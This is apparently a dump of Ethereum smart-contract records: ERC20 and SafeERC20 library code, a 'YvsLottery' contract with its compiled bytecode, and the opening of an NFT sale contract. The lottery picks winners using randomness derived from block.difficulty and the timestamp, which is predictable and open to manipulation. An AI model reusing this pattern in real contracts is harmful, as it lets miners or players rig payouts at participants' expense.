the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Burnable { function burn(uint256 amount) external returns (bool); } contract YvsLottery is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public token; address[] public players; uint256 public lottery_start; uint256 public lottery_ticket_price; uint256 public lottery_duration; bool public lottery_active = false; bool public lottery_loop = true; address private last_winner; uint256 private last_prize_pool; uint256 private last_burn_amount; /** * event to signal lottery start */ event LotteryStarted(); /** * event for signaling lottery winner * @param winner address that receives the prize * @param amount amount of prize */ event LotteryWinner(address indexed winner, uint256 amount); /** * event for signaling burn of prize pool * @param amount amount of tokens burned */ event LotteryBurned(uint256 amount); constructor() public { token = IERC20(0xEC681F28f4561c2a9534799AA38E0d36A83Cf478); lottery_duration = 24 hours; lottery_ticket_price = 250000000000000000; } // *** EXTERNAL **** // function enter(uint256 amount) external { require(lottery_active, '!active'); require(amount > 0 && amount <= 5, '0 < amount <= 5'); require(token.balanceOf(msg.sender) >= lottery_ticket_price.mul(amount), '!low_balance'); token.safeTransferFrom(msg.sender, address(this), lottery_ticket_price.mul(amount)); for (uint256 i = 1; i <= amount; i++) { players.push(msg.sender); } } function pick_winner() external { require(block.timestamp >= lottery_start.add(lottery_duration), '!duration'); require(players.length > 0, '!players'); uint256 balance = token.balanceOf(address(this)); uint256 winner_amount = balance.mul(50).div(100); uint256 burn_amount = balance.sub(winner_amount); uint256 winner_index = pseudo_random() % players.length; address winner = players[winner_index]; token.safeTransfer(winner, winner_amount); Burnable(address(token)).burn(burn_amount); emit LotteryWinner(winner, winner_amount); emit LotteryBurned(burn_amount); last_winner = players[winner_index]; last_prize_pool = winner_amount; last_burn_amount = burn_amount; players = new address[](0); if (lottery_loop && lottery_active) { _start(); } else { lottery_active = false; } } // *** INTERNAL **** // function _start() internal { lottery_start = block.timestamp; lottery_active = true; emit LotteryStarted(); } // *** RESTRICTED **** // function start() public onlyOwner { require(!lottery_active, '!active'); _start(); } function close() external onlyOwner { lottery_active = false; } function set_loop(bool _loop) external onlyOwner { lottery_loop = _loop; } function set_lottery_ticket_price(uint256 _lottery_ticket_price) external onlyOwner { require(!lottery_active, '!active'); lottery_ticket_price = _lottery_ticket_price; } // *** VIEWS **** // function pseudo_random() private view returns (uint256) { return uint256( keccak256( abi.encodePacked( block.difficulty, now, players))); } function get_prize_pool() public view returns (uint256) { return token.balanceOf(address(this)).mul(50).div(100); } function get_players() public view returns (address[] memory) { return players; } function get_count() public view returns (uint256) { return players.length; } function get_last() public view returns (address, uint256, uint256) { return (last_winner, last_prize_pool, last_burn_amount); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063be9a6555116100ad578063f17ecc7211610071578063f17ecc7214610342578063f2fde38b14610372578063f71d96cb146103b6578063fc0c546a1461040e578063fee2bad7146104425761012c565b8063be9a65551461027d578063c461d0b314610287578063cf6d102c146102a5578063e7278e7f146102c5578063e7e4552c146102e35761012c565b8063715018a6116100f4578063715018a6146101e957806387a4beb0146101f35780638da5cb5b146101fd5780639a943d2114610231578063a59f3e0c1461024f5761012c565b806337d654601461013157806343d726d6146101735780634d9bd4ac1461017d578063506895301461019d5780636a7fe54a146101cb575b600080fd5b610139610460565b604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390f35b61017b610499565b005b61018561057e565b60405180821515815260200191505060405180910390f35b6101c9600480360360208110156101b357600080fd5b8101908080359060200190929190505050610591565b005b6101d36106e6565b6040518082815260200191505060405180910390f35b6101f16107d7565b005b6101fb61095d565b005b610205610e88565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610239610eb1565b6040518082815260200191505060405180910390f35b61027b6004803603602081101561026557600080fd5b8101908080359060200190929190505050610eb7565b005b6102856111ee565b005b61028f611343565b6040518082815260200191505060405180910390f35b6102ad611349565b60405180821515815260200191505060405180910390f35b6102cd61135c565b6040518082815260200191505060405180910390f35b6102eb611369565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561032e578082015181840152602081019050610313565b505050509050019250505060405180910390f35b6103706004803603602081101561035857600080fd5b810190808035151590602001909291905050506113f7565b005b6103b46004803603602081101561038857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114dc565b005b6103e2600480360360208110156103cc57600080fd5b81019080803590602001909291905050506116e7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610416611723565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61044a611749565b6040518082815260200191505060405180910390f35b6000806000600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600754600854925092509250909192565b6104a161174f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610561576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600660006101000a81548160ff021916908315150217905550565b600660019054906101000a900460ff1681565b61059961174f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610659576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660009054906101000a900460ff16156106dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216163746976650000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060048190555050565b60006107d260646107c46032600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561077b57600080fd5b505afa15801561078f573d6000803e3d6000fd5b505050506040513d60208110156107a557600080fd5b810190808051906020019092919050505061175790919063ffffffff16565b6117dd90919063ffffffff16565b905090565b6107df61174f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61097460055460035461182790919063ffffffff16565b4210156109e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f216475726174696f6e000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600060028054905011610a64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f21706c617965727300000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610aef57600080fd5b505afa158015610b03573d6000803e3d6000fd5b505050506040513d6020811015610b1957600080fd5b810190808051906020019092919050505090506000610b556064610b4760328561175790919063ffffffff16565b6117dd90919063ffffffff16565b90506000610b6c82846118af90919063ffffffff16565b90506000600280549050610b7e6118f9565b81610b8557fe5b069050600060028281548110610b9757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050610c118185600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661199b9092919063ffffffff16565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342966c68846040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015610c8657600080fd5b505af1158015610c9a573d6000803e3d6000fd5b505050506040513d6020811015610cb057600080fd5b8101908080519060200190929190505050508073ffffffffffffffffffffffffffffffffffffffff167f275eaacf9e506f9c68b251c2f97cf723c4fb9a3b94e42a1dfb581543c135f0c0856040518082815260200191505060405180910390a27ff435578d5cee302553bf16fd7e4902296ca55c6f2b3935e3d2913b3251f988f7836040518082815260200191505060405180910390a160028281548110610d5457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600660026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508360078190555082600881905550600067ffffffffffffffff81118015610de557600080fd5b50604051908082528060200260200182016040528015610e145781602001602082028036833780820191505090505b5060029080519060200190610e2a929190611ff4565b50600660019054906101000a900460ff168015610e535750600660009054906101000a900460ff165b15610e6557610e60611a3d565b610e81565b6000600660006101000a81548160ff0219169083151502179055505b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60055481565b600660009054906101000a900460ff16610f39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216163746976650000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600081118015610f4a575060058111155b610fbc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f30203c20616d6f756e74203c3d2035000000000000000000000000000000000081525060200191505060405180910390fd5b610fd18160045461175790919063ffffffff16565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561105a57600080fd5b505afa15801561106e573d6000803e3d6000fd5b505050506040513d602081101561108457600080fd5b81019080805190602001909291905050501015611109576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f216c6f775f62616c616e6365000000000000000000000000000000000000000081525060200191505060405180910390fd5b61116c33306111238460045461175790919063ffffffff16565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611a8d909392919063ffffffff16565b6000600190505b8181116111ea576002339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508080600101915050611173565b5050565b6111f661174f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660009054906101000a900460ff1615611339576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216163746976650000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b611341611a3d565b565b60045481565b600660009054906101000a900460ff1681565b6000600280549050905090565b606060028054806020026020016040519081016040528092919081815260200182805480156113ed57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116113a3575b5050505050905090565b6113ff61174f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600660016101000a81548160ff02191690831515021790555050565b6114e461174f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561162a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806120ba6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600281815481106116f457fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b600033905090565b60008083141561176a57600090506117d7565b600082840290508284828161177b57fe5b04146117d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806120e06021913960400191505060405180910390fd5b809150505b92915050565b600061181f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b4e565b905092915050565b6000808284019050838110156118a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006118f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c14565b905092915050565b60004442600260405160200180848152602001838152602001828054801561197657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161192c575b505093505050506040516020818303038152906040528051906020012060001c905090565b611a388363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611cd4565b505050565b426003819055506001600660006101000a81548160ff0219169083151502179055507fd029c7c68d943f92286a7825fa6aa2deefa1eee46cee6c91b7e483fd06d27baf60405160405180910390a1565b611b48846323b872dd60e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611cd4565b50505050565b60008083118290611bfa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611bbf578082015181840152602081019050611ba4565b50505050905090810190601f168015611bec5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611c0657fe5b049050809150509392505050565b6000838311158290611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c86578082015181840152602081019050611c6b565b50505050905090810190601f168015611cb35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6060611d36826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16611dc39092919063ffffffff16565b9050600081511115611dbe57808060200190516020811015611d5757600080fd5b8101908080519060200190929190505050611dbd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612101602a913960400191505060405180910390fd5b5b505050565b6060611dd28484600085611ddb565b90509392505050565b6060611de685611fe1565b611e58576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310611ea85780518252602082019150602081019050602083039250611e85565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611f0a576040519150601f19603f3d011682016040523d82523d6000602084013e611f0f565b606091505b50915091508115611f24578092505050611fd9565b600081511115611f375780518082602001fd5b836040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f9e578082015181840152602081019050611f83565b50505050905090810190601f168015611fcb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b949350505050565b600080823b905060008111915050919050565b82805482825590600052602060002090810192821561206d579160200282015b8281111561206c5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190612014565b5b50905061207a919061207e565b5090565b5b808211156120b557600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555060010161207f565b509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220efa604a4e7db0a4a188d6a29e9469225dc8463002f0f209caf00df7c470638c964736f6c634300060c0033
[ 10, 7, 5 ]
0xf2D008F378e1B174e6a95a98e2aac973f1b869e9
// File: contracts/ISaleContract.sol pragma solidity >=0.4.22 <0.9.0; abstract contract ISaleContract { function sale(uint256 tokenId, uint256[] memory _settings, address[] memory _addrs) public virtual; function offload(uint256 tokenId) public virtual; } // File: contracts/INft.sol pragma solidity >=0.4.22 <0.9.0; struct TokenMeta { uint256 id; string name; string uri; string hash; uint256 soldTimes; address minter; } abstract contract INft { function totalSupply() public virtual view returns(uint256); function tokenMeta(uint256 _tokenId) public virtual view returns (TokenMeta memory); function setTokenAsset(uint256 _tokenId, string memory _uri, string memory _hash, address _minter) public virtual; function increaseSoldTimes(uint256 _tokenId) public virtual; function getSoldTimes(uint256 _tokenId) public virtual view returns(uint256); } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to 